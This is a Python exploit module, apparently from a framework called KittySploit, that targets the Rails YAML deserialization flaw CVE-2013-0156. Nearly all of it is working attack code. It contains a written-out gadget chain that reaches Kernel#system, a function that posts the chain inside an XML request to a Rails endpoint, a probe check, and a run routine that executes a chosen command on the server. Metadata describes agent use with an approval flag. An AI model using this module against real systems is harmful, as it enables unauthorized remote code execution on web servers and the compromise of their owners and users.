Ruby on Rails YAML Deserialization RCE (CVE-2013-0156)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ruby on Rails XML/YAML deserialization RCE (CVE-2013-0156)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Ruby on Rails YAML Deserialization RCE (CVE-2013-0156)',
        'description': (
            'Exploits CVE-2013-0156 in Rails 3.x: XML requests with type=yaml deserialize '
            'attacker-controlled YAML into Ruby objects, reaching Kernel#system via Gem gadgets.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2013-0156'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2013-0156',
        ],
        'tags': ['rails', 'ruby', 'yaml', 'deserialization', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2013_0156_detect'],
            },
        },
    }

    search_path = OptString('/posts/search', 'Rails XML search endpoint', required=False, advanced=True)

    def _yaml_gadget(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        return (
            '--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n'
            '? test: !ruby/object:Gem::Requirement\n'
            '  requirements:\n'
            '    !ruby/object:Gem::Package::TarReader\n'
            '    io: !ruby/object:Net::BufferedIO\n'
            '      io: !ruby/object:Gem::Package::TarReader::Entry\n'
            '        read: 0\n'
            '        header: "abc"\n'
            '      debug_output: !ruby/object:Net::WriteAdapter\n'
            '        socket: !ruby/object:Gem::RequestSet\n'
            '          sets: !ruby/object:Net::WriteAdapter\n'
            '            socket: !ruby/module \'Kernel\'\n'
            '            method: :system\n'
            f"            args: [ '{safe}' ]\n"
        )

    def _post_yaml(self, cmd: str) -> bool:
        path = str(self.search_path or '/posts/search').strip() or '/posts/search'
        if not path.startswith('/'):
            path = '/' + path
        body = (
            '<?xml version="1.0" encoding="UTF-8"?>\r\n'
            '<probe type="yaml"><![CDATA[\r\n'
            f'{self._yaml_gadget(cmd)}\r\n'
            ']]></probe>'
        )
        r = self.http_request(
            method='POST',
            path=path,
            data=body,
            headers={'Content-Type': 'application/xml'},
            allow_redirects=False,
        )
        return bool(r)

    def execute(self, cmd: str) -> str:
        self._post_yaml(cmd)
        return ''

    def check(self):
        path = str(self.search_path or '/posts/search').strip() or '/posts/search'
        probe = (
            '<?xml version="1.0" encoding="UTF-8"?>\r\n'
            '<probe type="yaml"><![CDATA[\r\n--- !ruby/object:\x00\r\n]]></probe>'
        )
        r = self.http_request(
            method='POST',
            path=path if path.startswith('/') else f'/{path}',
            data=probe,
            headers={'Content-Type': 'application/xml'},
            allow_redirects=False,
        )
        if r and r.status_code == 200:
            return {
                'vulnerable': True,
                'reason': 'Rails YAML deserialization surface (CVE-2013-0156)',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'Rails YAML probe failed', 'confidence': 'medium'}

    def check_execute(self):
        return self.check().get('vulnerable', False)

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        cmd = str(getattr(self, 'command', '') or '').strip() or str(self.payload or '').strip() or 'id'
        print_status('Sending YAML gadget chain (blind — verify via listener/marker)')
        self._post_yaml(cmd)
        self.vulnerable()
        return True